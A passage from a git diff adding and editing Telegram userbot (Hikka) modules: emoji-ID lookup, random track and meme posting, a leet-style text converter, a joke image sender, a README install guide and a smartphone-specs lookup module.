найдено.") + return + + for entity in entities: + if isinstance(entity, MessageEntityCustomEmoji): + emoji_id = entity.document_id + await utils.answer( + message, + f"✅ Найден премиум-эмодзи:\n\n" + f"💎 ID: `{emoji_id}`\n\n" + f"Теперь вы можете использовать его в своих модулях!", + ) + return + + await utils.answer(message, "❌ Это не премиум-эмодзи.") diff --git a/cryptexctl/modules-mirror/randomtrack.py b/cryptexctl/modules-mirror/randomtrack.py new file mode 100644 index 0000000..748ce12 --- /dev/null +++ b/cryptexctl/modules-mirror/randomtrack.py @@ -0,0 +1,75 @@ +__version__ = (1, 1, 0) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# randomtrack.py +# meta developer: @systemxplore +# scope: hikka_only +# scope: hikka_min 1.6.3 + +import random +from telethon.tl.functions.messages import GetHistoryRequest +from telethon.tl.types import Message, MessageMediaDocument +from .. import loader, utils + +class RandomTrackMod(loader.Module): + """Отправляет случайный трек из указанного канала.""" + strings = {"name": "RandomTrack"} + + def __init__(self): + self.config = loader.ModuleConfig( + "MUSIC_CHANNEL_ID", 0, # ID канала с музыкой + lambda: "ID вашего канала с музыкой. Например: 123456789" + ) + + async def get_random_track(self, channel_id): + """Получает случайный трек из указанного канала по ID.""" + try: + history = await self.client(GetHistoryRequest( + peer=channel_id, + limit=100, # Загружает последние 100 сообщений + offset_date=None, + offset_id=0, + add_offset=0, + max_id=0, + min_id=0, + hash=0, + )) + + tracks = [ + msg for msg in history.messages + if isinstance(msg, Message) and isinstance(msg.media, MessageMediaDocument) + and msg.media.document.mime_type.startswith("audio") + ] + return random.choice(tracks) if tracks else None + except Exception as e: + return f"Ошибка при получении трека: {e}" + + @loader.command() + async def randomtrack(self, message): + """ + Отправляет случайный трек из вашего канала. + """ + channel_id = self.config["MUSIC_CHANNEL_ID"] + if not channel_id: + await utils.answer(message, "❌ Укажите ID канала с музыкой в .config") + return + + track = await self.get_random_track(channel_id) + if isinstance(track, Message): + await self.client.send_file(message.chat_id, track.media, caption=track.message or "") + else: + await utils.answer(message, f"❌ Не удалось получить трек. Причина: {track}") \ No newline at end of file diff --git a/cryptexctl/modules-mirror/zovmodule.py b/cryptexctl/modules-mirror/zovmodule.py new file mode 100644 index 0000000..1211baa --- /dev/null +++ b/cryptexctl/modules-mirror/zovmodule.py @@ -0,0 +1,95 @@ +__version__ = (2, 1, 0) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# leeter.py +# meta developer: @systemxplore +# scope: hikka_only +# scope: hikka_min 1.6.3 +from .. import loader, utils + +class LeeterMod(loader.Module): + """Тут либо гойда либо зов\nлибо ZOVишь либо leetируешь""" + strings = { + "name": "zover", + "enabled": "✅ Leeter включен.", + "disabled": "❌ Leeter выключен.", + "mode_leet": "⚙️ Режим установлен: Leet", + "mode_replace": "⚙️ Режим установлен: ZOV" + } # Исправлено: убрана лишняя закрывающая скобка + + def __init__(self): + self.config = loader.ModuleConfig( + "MODE", "leet", # Возможные значения: "leet" или "replace" + lambda: "Режим обработки сообщений: 'leet' для leet-стиля или 'replace' для zov." + ) + self.active = False + + async def client_ready(self, client, db): + self.client = client + + @loader.command() + async def leeter(self, message): + """Включить/выключить обработку сообщений.""" + self.active = not self.active + status = self.strings["enabled"] if self.active else self.strings["disabled"] + await utils.answer(message, status) + + @loader.command() + async def zovmode(self, message): + """Переключить режим: leet или zov.""" + new_mode = "leet" if self.config["MODE"] == "replace" else "replace" + self.config["MODE"] = new_mode + mode_message = self.strings["mode_leet"] if new_mode == "leet" else self.strings["mode_replace"] + await utils.answer(message, mode_message) + + async def watcher(self, message): + """Обрабатывает все ваши сообщения.""" + if not self.active or not message.out: + return + + text = message.raw_text + if self.config["MODE"] == "leet": + # Преобразование в leet-стиль + text = self.to_leet(text) + elif self.config["MODE"] == "replace": + # Замена z-Z, v-V, o-O + text = self.replace_chars(text) + + # Редактируем сообщение с преобразованным текстом + await message.edit(text) + + def to_leet(self, text): + """Преобразует текст в leet-стиль.""" + leet_map = { + 'а': '4', 'б': '6', 'в': '8', 'г': 'r', 'д': 'D', 'е': '3', 'ё': 'E', + 'ж': '>|<', 'з': '3', 'и': 'u', 'й': 'u`', 'к': 'K', 'л': 'JI', + 'м': 'M', 'н': 'H', 'о': '0', 'п': 'n', 'р': 'P', 'с': 'C', + 'т': '7', 'у': 'Y', 'ф': 'F', 'х': 'X', 'ц': 'U,', 'ч': '4', + 'ш': 'W', 'щ': 'W,', 'ъ': "'", 'ы': 'bl', 'ь': "'", 'э': '3', + 'ю': '10', 'я': '9', + 'a': '4', 'b': '8', 'c': '<', 'd': '[)', 'e': '3', 'f': '|=', + 'g': '6', 'h': '#', 'i': '1', 'j': '_|', 'k': '|<', 'l': '1', + 'm': '^^', 'n': '^/', 'o': '0', 'p': '|2', 'q': 'O_', 'r': '12', + 's': '5', 't': '7', 'u': '|_|', 'v': '\\/', 'w': '\\/\\/', 'x': '%', + 'y': '`/', 'z': '2' + } + return ''.join(leet_map.get(char.lower(), char) for char in text) + + def replace_chars(self, text): + """Заменяет z-Z, v-V, o-O в тексте.""" + replace_map = {'з': 'Z', 'З': 'Z', 'в': 'V', 'В': 'V', 'о': 'O', 'О': 'O'} + return ''.join(replace_map.get(char, char) for char in text) diff --git a/cryptexctl/modules-mirror/овощерезка.py b/cryptexctl/modules-mirror/овощерезка.py new file mode 100644 index 0000000..c7888e5 --- /dev/null +++ b/cryptexctl/modules-mirror/овощерезка.py @@ -0,0 +1,70 @@ +__version__ = (1, 4, 0) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# овощерезка.py +# meta developer: @systemxplore +# scope: hikka_only +# scope: hikka_min 1.6.3 + +import random +from telethon.tl.functions.messages import GetHistoryRequest +from telethon.tl.types import Message, MessageMediaPhoto +from .. import loader, utils + +class RandomPostMod(loader.Module): + """Отправляет случайный пост из p2 или pixelgang с картинками.""" + strings = {"name": "Овощерезка"} + + def __init__(self): + self.config = loader.ModuleConfig( + "POSTS_LIMIT", 50, # Количество постов для загрузки + lambda: "Количество постов для загрузки из каналов." + ) + + async def get_random_post(self, channel): + """Вгетаем фоточке из канала""" + try: + history = await self.client(GetHistoryRequest( + peer=channel, + limit=self.config["POSTS_LIMIT"], # Количество постов из .config + offset_date=None, + offset_id=0, + add_offset=0, + max_id=0, + min_id=0, + hash=0, + )) + messages = [ + msg for msg in history.messages + if isinstance(msg, Message) and isinstance(msg.media, MessageMediaPhoto) + ] + return random.choice(messages) if messages else None + except Exception as e: + return f"Ошибка при получении поста: {e}" + + @loader.command() + async def овощерезка(self, message): + """ + Отправляет случайный мемасек из p2 или pixelgang + """ + channel = random.choice(["pocobytes", "pixelgang"]) # Случайный выбор канала + post = await self.get_random_post(channel) + + if isinstance(post, Message): + await self.client.send_file(message.chat_id, post.media, caption=post.message or "") + else: + await utils.answer(message, f"❌ Не удалось получить пост. Причина: {post}") \ No newline at end of file diff --git a/cryptexctl/modules-mirror/сланцы2.py b/cryptexctl/modules-mirror/сланцы2.py new file mode 100644 index 0000000..36444fb --- /dev/null +++ b/cryptexctl/modules-mirror/сланцы2.py @@ -0,0 +1,56 @@ +__version__ = (1, 1, 0) +# +# 88 +# ,d ,d 88 +# 88 88 88 +# ,adPPYba, 8b,dPPYba, 8b d8 8b,dPPYba, MM88MMM ,adPPYba, 8b, ,d8 ,adPPYba, MM88MMM 88 +# a8" "" 88P' "Y8 `8b d8' 88P' "8a 88 a8P_____88 `Y8, ,8P' a8" "" 88 88 +# 8b 88 `8b d8' 88 d8 88 8PP""""""" )888( 8b 88 88 +# "8a, ,aa 88 `8b,d8' 88b, ,a8" 88, "8b, ,aa ,d8" "8b, "8a, ,aa 88, 88 +# `"Ybbd8"' 88 Y88' 88`YbbdP"' "Y888 `"Ybbd8"' 8P' `Y8 `"Ybbd8"' "Y888 88 +# d8' 88 +# d8' 88 +# © Copyright 2024 +# https://t.me/cryptexctl +# +# 🔒 Licensed under the GNU AGPLv3 +# 🌐 https://www.gnu.org/licenses/agpl-3.0.html +# сланцы.py +# meta developer: @systemxplore +# scope: hikka_only +# scope: hikka_min 1.6.3 +import os +import requests +from .. import loader, utils + +class SlantsyMod(loader.Module): + """АХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\n""" + strings = { + "name": "Сланцы", + } + + def __init__(self): + # Путь, куда будет загружена картинка + self.image_path = "сланцы.jpeg" + self.image_url = "https://0x0.st/Xd9E.jpeg" + + async def client_ready(self, client, db): + self.client = client + self.download_image() + + def download_image(self): + """Скачивает изображение и сохраняет его на диск.""" + if not os.path.exists(self.image_path): # Проверяем, есть ли файл + response = requests.get(self.image_url) + with open(self.image_path, 'wb') as file: + file.write(response.content) + print(f"✅ Картинка успешно загружена: {self.image_path}") + else: + print(f"🖼️ Картинка уже существует: {self.image_path}") + + @loader.command() + async def этосланцычат(self, message): + """АХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\nАХХХ ЭТО ГОРЯЩИЕ СЛАНЦЫ ЧААТ\n""" + await self.client.send_file(message.chat_id, self.image_path) + # Удаляем сообщение с командой + await message.delete() diff --git a/fajox1/famods/picme.py b/fajox1/famods/picme.py index e53c993..22ad4e9 100644 --- a/fajox1/famods/picme.py +++ b/fajox1/famods/picme.py @@ -69,7 +69,8 @@ class PicMe(loader.Module): async def watcher(self, event): try: if event.from_id != self.tg_id: - return + if event.from_id.user_id != self.tg_id: + return except: return if not self.db.get(self.name, "picme", False): diff --git a/fiksofficial/python-modules/README.md b/fiksofficial/python-modules/README.md index fdaa62c..305e38a 100644 --- a/fiksofficial/python-modules/README.md +++ b/fiksofficial/python-modules/README.md @@ -1,2 +1,19 @@ # Модули канала [@PyModule](https://pymodule.t.me) -На все модули распространяется [лицензия "GNU General Public License v3.0"](https://github.com/fiksofficial/python-modules/blob/main/LICENSE) +На все модули распространяется [лицензия "GNU General Public License v3.0"](LICENSE) + +## Как установить модуль? +Для начала надо добавить репозиторий +``` +.addrepo python-modules.vervel.app +``` +Потом пишете ```.dlm {название модуля}``` и вы успешно установили модуль. + +> [!TIP] +> Если вы не хотите добавлять репозиторий то напишите ```.dlm python-modules.vervel.app/{название модуля}.py``` + +### Список задач +- [x] Попасть в FHeta +- [x] Попасть в Limoka +- [x] Попасть в команду верефицированных разработчиков модулей Heroku +- [] Soon... + diff --git a/fiksofficial/python-modules/channeladapter.py b/fiksofficial/python-modules/channeladapter.py index 3234a37..59300aa 100644 --- a/fiksofficial/python-modules/channeladapter.py +++ b/fiksofficial/python-modules/channeladapter.py @@ -2,8 +2,6 @@ # https://github.com/all-licenses/GNU-General-Public-License-v3.0 # meta developer: @PyModule -import json -import os from telethon.tl.types import Message from .. import loader @@ -12,27 +10,19 @@ class ChannelAdapterMod(loader.Module): """Модуль для добавления переходника в сообщения каналов""" strings = {"name": "ChannelAdapter"} - def __init__(self): - self.adapters_file = "adapters.json" - self.adapters = self.load_adapters() - - def load_adapters(self): - """Загружает адаптеры из файла, если он существует.""" - if os.path.exists(self.adapters_file): - with open(self.adapters_file, "r", encoding="utf-8") as f: - return json.load(f) - return {} - - def save_adapters(self): - """Сохраняет адаптеры в файл.""" - with open(self.adapters_file, "w", encoding="utf-8") as f: - json.dump(self.adapters, f, ensure_ascii=False, indent=4) - async def client_ready(self, client, db): self.client = client self.db = db - if not self.adapters: - self.adapters = {} + if not self.db.get(__name__, "adapters"): + self.db.set(__name__, "adapters", {}) + + def get_adapters(self): + """Получает адаптеры из базы данных""" + return self.db.get(__name__, "adapters", {}) + + def save_adapters(self, adapters): + """Сохраняет адаптеры в базу данных""" + self.db.set(__name__, "adapters", adapters) @loader.command() async def addadaptercmd(self, message: Message): @@ -49,11 +39,13 @@ class ChannelAdapterMod(loader.Module): await message.edit("❗️ Укажите текст переходника.") return - self.adapters[chat_id] = adapter_text - self.save_adapters() + adapters = self.get_adapters() + adapters[chat_id] = adapter_text + self.save_adapters(adapters) await message.edit(f" Переходник добавлен для канала: {chat_id} - {adapter_text}") + @loader.command() async def deladaptercmd(self, message: Message): """[CHANNEL ID] - Удалить переходник для канала.""" args = message.raw_text.split() @@ -62,37 +54,40 @@ class ChannelAdapterMod(loader.Module): return chat_id = args[1] + adapters = self.get_adapters() - if chat_id not in self.adapters: + if chat_id not in adapters: await message.edit(" Этот канал не найден в списке.") return - del self.adapters[chat_id] - self.save_adapters() + del adapters[chat_id] + self.save_adapters(adapters) await message.edit(f" Переходник для канала {chat_id} удалён.") + @loader.command() async def listadapterscmd(self, message: Message): """- Показать список всех переходников.""" - if not self.adapters: + adapters = self.get_adapters() + if not adapters: await message.edit(" Нет сохранённых переходников.") return text = "
👁 Список сохранённых переходников
\n\n\n" - for chat_id, adapter_text in self.adapters.items(): + for chat_id, adapter_text in adapters.items(): text += f" {chat_id}: {adapter_text}\n\n" await message.edit(text) + @loader.command() async def clearadapterscmd(self, message: Message): """- Удалить все переходники.""" - if not self.adapters: + adapters = self.get_adapters() + if not adapters: await message.edit(" Нет переходников для удаления.") return - self.adapters = {} - self.save_adapters() - + self.db.set(__name__, "adapters", {}) await message.edit(" Все адаптеры были удалены.") async def watcher(self, message: Message): @@ -100,7 +95,8 @@ class ChannelAdapterMod(loader.Module): if not message or not message.out: return - adapter_text = self.adapters.get(str(message.chat_id), None) + adapters = self.get_adapters() + adapter_text = adapters.get(str(message.chat_id), None) if not adapter_text: return diff --git a/fiksofficial/python-modules/createavatarspack.py b/fiksofficial/python-modules/createavatarspack.py index afcb4db..2ebca46 100644 --- a/fiksofficial/python-modules/createavatarspack.py +++ b/fiksofficial/python-modules/createavatarspack.py @@ -11,7 +11,7 @@ # https://github.com/all-licenses/GNU-General-Public-License-v3.0 # meta developer: @pymodule -# requires: opencv-python +# requires: opencv-python pillow import os, shutil, cv2 from PIL import Image, UnidentifiedImageError diff --git a/fiksofficial/python-modules/deviceinfo.py b/fiksofficial/python-modules/deviceinfo.py new file mode 100644 index 0000000..0d6b2e6 --- /dev/null +++ b/fiksofficial/python-modules/deviceinfo.py @@ -0,0 +1,503 @@ +# ______ ___ ___ _ _ +# ____ | ___ \ | \/ | | | | | +# / __ \| |_/ / _| . . | ___ __| |_ _| | ___ +# / / _` | __/ | | | |\/| |/ _ \ / _` | | | | |/ _ \ +# | | (_| | | | |_| | | | | (_) | (_| | |_| | | __/ +# \ \__,_\_| \__, \_| |_/\___/ \__,_|\__,_|_|\___| +# \____/ __/ | +# |___/ + +# На модуль распространяется лицензия "GNU General Public License v3.0" +# https://github.com/all-licenses/GNU-General-Public-License-v3.0 + +# meta developer: @pymodule +# requires: aiohttp cachetools + +import asyncio +import logging +from typing import List, Dict, Any +import aiohttp +from cachetools import TTLCache + +from .. import loader, utils +from ..inline.types import InlineMessage + +logger = logging.getLogger(__name__) + +@loader.tds +class DeviceInfo(loader.Module): + """A module for obtaining information about smartphones""" + + strings_ru = { + "name": "DeviceInfo", + "_cls_doc": "Модуль для получения информации о смартфонах", + "searching": "🔍 Ищу устройства по запросу: {}...", + "no_query": "❌ Укажи название устройства! Пример: .di iPhone 15", + "no_results": "📭 Устройства не найдены для запросу: {}", + "device_list": "📱 Найдено {} устройств по запросу {}:", + "device_info": "📱 {}\n\n{}", + "error": "❌ Ошибка: {}. Попробуй позже или проверь API.", + "network": "📡 Сеть: {}\n", + "launched": "📅 Дата выпуска:\n Анонс: {}\n Статус: {}\n", + "body": "📏 Корпус:\n Размеры: {}\n Вес: {}\n SIM: {}\n Прочее: {}\n", + "display": "🖥️ Дисплей:\n Тип: {}\n Размер: {}\n Разрешение: {}\n Защита: {}\n", + "platform": "⚙️ Платформа:\n ОС: {}\n Чипсет: {}\n CPU: {}\n GPU: {}\n", + "memory": "💾 Память:\n Карта памяти: {}\n Внутренняя: {}\n Прочее: {}\n", + "main_camera": "📷 Основная камера:\n Модули: {}\n Функции: {}\n Видео: {}\n", + "selfie_camera": "🤳 Фронтальная камера:\n Модули: {}\n Функции: {}\n Видео: {}\n", + "sound": "🔊 Звук:\n Динамик: {}\n Аудиоразъём: {}\n Прочее: {}\n", + "comms": "🌐 Связь:\n Wi-Fi: {}\n Bluetooth: {}\n GPS: {}\n NFC: {}\n Инфракрасный порт: {}\n Радио: {}\n USB: {}\n", + "sensors": "🛠️ Датчики: {}\n", + "battery": "🔋 Батарея:\n Тип: {}\n Зарядка: {}\n", + "misc": "🎨 Разное:\n Цвета: {}\n Модели: {}\n", + "show_body": "📏 Корпус", + "show_memory": "💾 Память", + "show_cameras": "📷 Камеры", + "show_sound": "🔊 Звук", + "show_comms": "🌐 Связь", + "show_sensors": "🛠️ Датчики", + "show_misc": "🎨 Разное", + "next_photo": "▶️ След. фото", + "prev_photo": "◀️ Пред. фото", + "back": "🔙 Назад", + "back_to_device": "🔙 К устройству", + "config_saved": "✅ Конфигурация сохранена!", + "retrying": "🔄 Повторяю запрос... (попытка {}/{} )" + } + + strings = { + "name": "DeviceInfo", + "searching": "🔍 Searching devices for: {}...", + "no_query": "❌ Specify a device name! Example: .di iPhone 15", + "no_results": "📭 No devices found for query: {}", + "device_list": "📱 Found {} devices for query {}:", + "device_info": "📱 {}\n\n{}", + "error": "❌ Error: {}. Try again later or check the API.", + "network": "📡 Network: {}\n", + "launched": "📅 Launch:\n Announced: {}\n Status: {}\n", + "body": "📏 Body:\n Dimensions: {}\n Weight: {}\n SIM: {}\n Other: {}\n", + "display": "🖥️ Display:\n Type: {}\n Size: {}\n Resolution: {}\n Protection: {}\n", + "platform": "⚙️ Platform:\n OS: {}\n Chipset: {}\n CPU: {}\n GPU: {}\n", + "memory": "💾 Memory:\n Card slot: {}\n Internal: {}\n Other: {}\n", + "main_camera": "📷 Main Camera:\n Modules: {}\n Features: {}\n Video: {}\n", + "selfie_camera": "🤳 Selfie Camera:\n Modules: {}\n Features: {}\n Video: {}\n", + "sound": "🔊 Sound:\n Loudspeaker: {}\n Audio Jack: {}\n Other: {}\n", + "comms": "🌐 Comms:\n Wi-Fi: {}\n Bluetooth: {}\n GPS: {}\n NFC: {}\n Infrared: {}\n Radio: {}\n USB: {}\n", + "sensors": "🛠️ Sensors: {}\n", + "battery": "🔋 Battery:\n Type: {}\n Charging: {}\n", + "misc": "🎨 Misc:\n Colors: {}\n Models: {}\n", + "show_body": "📏 Body", + "show_memory": "💾 Memory", + "show_cameras": "📷 Cameras", + "show_sound": "🔊 Sound", + "show_comms": "🌐 Comms", + "show_sensors": "🛠️ Sensors", + "show_misc": "🎨 Misc", + "next_photo": "▶️ Next Photo", + "prev_photo": "◀️ Prev Photo", + "back": "🔙 Back", + "back_to_device": "🔙 To Device", + "config_saved": "✅ Configuration saved!", + "retrying": "🔄 Retrying request... (attempt {}/{})" + } + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "api_base_url", + "https://mobilespecs.fiksofficial.fun", + lambda: "API Url", + validator=loader.validators.String() + ), + loader.ConfigValue( + "max_results", + 20, + lambda: "Maximum search results to display", + validator=loader.validators.Integer(minimum=1, maximum=50) + ), + loader.ConfigValue( + "timeout", + 10, + lambda: "Timeout for API requests (seconds)", + validator=loader.validators.Integer(minimum=5, maximum=30) + ), + loader.ConfigValue( + "retry_attempts", + 3, + lambda: "Number of retry attempts for API requests", + validator=loader.validators.Integer(minimum=1, maximum=5) + ) + ) + self.cache = TTLCache(maxsize=100, ttl=300) + self.session: aiohttp.ClientSession = None + + async def client_ready(self, client, db): + """Initialize aiohttp session on client ready""" + self.session = aiohttp.ClientSession( + timeout=aiohttp.ClientTimeout(total=self.config["timeout"]) + ) + logger.info("DeviceInfo: aiohttp session initialized") + self.client = client + + async def on_unload(self): + """Close aiohttp session on module unload""" + if self.session: + await self.session.close() + logger.info("DeviceInfo: aiohttp session closed") + + async def _resolve_entity(self, call: InlineMessage, message_id: int, chat_id: int = None): + """Resolve Telegram entity to Message or int""" + if hasattr(call, "message") and call.message: + logger.debug("DeviceInfo: Using call.message") + return call.message + if chat_id: + logger.warning(f"DeviceInfo: call.message is None, falling back to chat_id {chat_id}") + return chat_id + logger.warning(f"DeviceInfo: call.message and chat_id are None, falling back to message_id {message_id}") + return message_id + + async def _fetch_json(self, endpoint: str, params: Dict[str, Any] = None) -> Any: + """Fetch JSON from API with retry and caching""" + cache_key = f"{endpoint}_{params}" if params else endpoint + if cache_key in self.cache: + logger.debug(f"Cache hit for {cache_key}") + return self.cache[cache_key] + + url = f"{self.config['api_base_url']}/gsm/{endpoint}" + params_clean = {k: v for k, v in (params or {}).items() if k != "message"} + for attempt in range(1, self.config["retry_attempts"] + 1): + try: + async with self.session.get(url, params=params_clean or None) as resp: + if resp.status != 200: + error_text = await resp.text() + logger.error(f"DeviceInfo: HTTP {resp.status} for {url}: {error_text}") + raise aiohttp.ClientError(f"HTTP {resp.status}: {error_text}") + content_type = resp.headers.get("Content-Type", "") + if "application/json" not in content_type: + error_text = await resp.text() + logger.error(f"DeviceInfo: Invalid content-type {content_type} for {url}: {error_text}") + raise ValueError(f"Invalid content-type: {content_type}") + data = await resp.json() + if data is None: + error_text = await resp.text() + logger.error(f"DeviceInfo: API returned None for {url}: {error_text}") + if endpoint.startswith("search"): + data = [] + else: + data = {} + if not isinstance(data, (list, dict)): + logger.error(f"DeviceInfo: Unexpected API response type for {url}: {type(data)}") + raise ValueError(f"Unexpected API response type: {type(data)}") + self.cache[cache_key] = data + logger.debug(f"Cache set for {cache_key}") + return data + except (aiohttp.ClientError, asyncio.TimeoutError, ValueError) as e: + logger.warning(f"DeviceInfo: Request failed for {endpoint} (attempt {attempt}): {e}") + if attempt < self.config["retry_attempts"]: + if params and "message" in params: + await utils.answer(params["message"], self.strings["retrying"].format(attempt, self.config["retry_attempts"])) + await asyncio.sleep(2 * attempt) + else: + logger.error(f"DeviceInfo: API failed after {self.config['retry_attempts']} attempts: {e}") + if endpoint.startswith("search"): + return [] + return {} + + def _format_essential_info(self, device: Dict[str, Any]) -> str: + """Format essential device info (name, network, launch, display, platform, battery)""" + info_text = "" + if "network" in device: + info_text += self.strings["network"].format(device.get("network", "N/A")) + if "launced" in device: + info_text += self.strings["launched"].format( + device["launced"].get("announced", "N/A"), + device["launced"].get("status", "N/A") + ) + if "display" in device: + info_text += self.strings["display"].format( + device["display"].get("type", "N/A"), + device["display"].get("size", "N/A"), + device["display"].get("resolution", "N/A"), + device["display"].get("protection", "N/A") + ) + if "platform" in device: + info_text += self.strings["platform"].format( + device["platform"].get("os", "N/A"), + device["platform"].get("chipset", "N/A"), + device["platform"].get("cpu", "N/A"), + device["platform"].get("gpu", "N/A") + ) + if "battery" in device: + info_text += self.strings["battery"].format( + device["battery"].get("battType", "N/A"), + device["battery"].get("charging", "N/A") + ) + return info_text + + def _format_section(self, section: str, device: Dict[str, Any]) -> str: + """Format a specific section of device info""" + if section == "body" and "body" in device: + return self.strings["body"].format( + device["body"].get("dimension", "N/A"), + device["body"].get("weight", "N/A"), + device["body"].get("sim", "N/A"), + device["body"].get("other", "N/A") + ) + if section == "memory" and "memory" in device: + memory = {item.get("label", ""): item.get("value", "N/A") for item in device.get("memory", [])} + return self.strings["memory"].format( + memory.get("card", "N/A"), + memory.get("internal", "N/A"), + memory.get("otherMemory", "N/A") + ) + if section == "cameras": + cam_text = "" + if "mainCamera" in device: + cam_text += self.strings["main_camera"].format( + device["mainCamera"].get("mainModules", "N/A"), + device["mainCamera"].get("mainFeatures", "N/A"), + device["mainCamera"].get("mainVideo", "N/A") + ) + if "selfieCamera" in device: + cam_text += self.strings["selfie_camera"].format( + device["selfieCamera"].get("selfieModules", "N/A"), + device["selfieCamera"].get("selfieFeatures", "N/A"), + device["selfieCamera"].get("selfieVideo", "N/A") + ) + return cam_text + if section == "sound" and "sound" in device: + return self.strings["sound"].format( + device["sound"].get("loudSpeaker", "N/A"), + device["sound"].get("audioJack", "N/A"), + device["sound"].get("otherSound", "N/A") + ) + if section == "comms" and "comms" in device: + return self.strings["comms"].format( + device["comms"].get("wlan", "N/A"), + device["comms"].get("bluetooth", "N/A"), + device["comms"].get("gps", "N/A"), + device["comms"].get("nfc", "N/A"), + device["comms"].get("infrared", "N/A"), + device["comms"].get("radio", "N/A"), + device["comms"].get("usb", "N/A") + ) + if section == "sensors" and "sensors" in device: + return self.strings["sensors"].format(device.get("sensors", "N/A")) + if section == "misc" and "misc" in device: + return self.strings["misc"].format( + device["misc"].get("colors", "N/A"), + device["misc"].get("models", "N/A") + ) + return "N/A" + + @loader.command(ru_doc="(.di) <название устройства> - Получить информацию о смартфоне", alias="di") + async def deviceinfo(self, message): + """(.di) - Get smartphone info by name""" + query = utils.get_args_raw(message).strip() + if not query: + await utils.answer(message, self.strings["no_query"]) + return + + await utils.answer(message, self.strings["searching"].format(query)) + try: + devices = await self._fetch_json("search", {"q": query, "message": message}) + if not devices: + await utils.answer(message, self.strings["no_results"].format(query)) + return + + devices = devices[:self.config["max_results"]] + button_rows = [[{"text": device["name"], "callback": self.show_device_info, "args": [device["id"], query, message.id, message.chat_id, 0, None]}] for device in devices] + await self.inline.list( + message=message, + strings=[self.strings["device_list"].format(len(devices), query)], + custom_buttons=button_rows, + ttl=60, + force_me=True, + manual_security=True, + silent=True + ) + except Exception as e: + logger.error(f"DeviceInfo: Failed to fetch search results: {e}") + await utils.answer(message, self.strings["error"].format(str(e))) + + async def show_device_info(self, call: InlineMessage, device_id: str, query: str, message_id: int, chat_id: int, photo_idx: int, 